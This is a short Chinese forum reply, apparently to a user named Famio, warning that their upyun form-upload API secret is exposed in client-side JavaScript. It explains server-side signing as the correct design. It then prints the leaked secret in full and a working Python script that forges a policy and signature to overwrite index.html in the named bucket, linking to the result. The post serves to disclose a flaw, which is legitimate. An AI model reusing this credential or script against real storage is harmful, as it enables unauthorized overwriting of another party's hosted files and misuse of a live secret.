@
Famio upyun 的表单上传 API 不是这么用的。。。。直接把 form_api_secret 写在 js 里面就意味着任何人都可以上传 /覆盖任意内容
正确的做法是实现一个服务端,用户需要上传的时候服务器执行签名算法返回 signature,以保证用户不会篡改 policy 任意上传
写了个 python 来上传 index.html:
```
import time
from hashlib import md5
import json
import requests
import base64
options = {
'bucket': 'oss-v2url',
'save-key': '/index.html',
'expiration': int(time.time()) + 86400
}
form_api_secret = '5LOuSvluJ5F/TQjEd2XE3IqKAdw='
policy = base64.b64encode(json.dumps(options).encode('utf-8')).decode()
signature = md5((policy + '&' + form_api_secret).encode('utf-8')).hexdigest()
x=
requests.post("
https://v0.api.upyun.com/"+options['bucket'], files=[('Filename','${filename}'),('Content-Type',''),('policy',policy),('signature',signature),('file',('index.html',open('index.html','rb'),'text/html'))])
print(x)
print(x.headers)
print(x.text)
```
效果,不过反正你设置了 text/plain 影响不大:
https://oss.v2url.com/2018/01/03/5fa4e6e0755fc504279c227fad64707f.jpg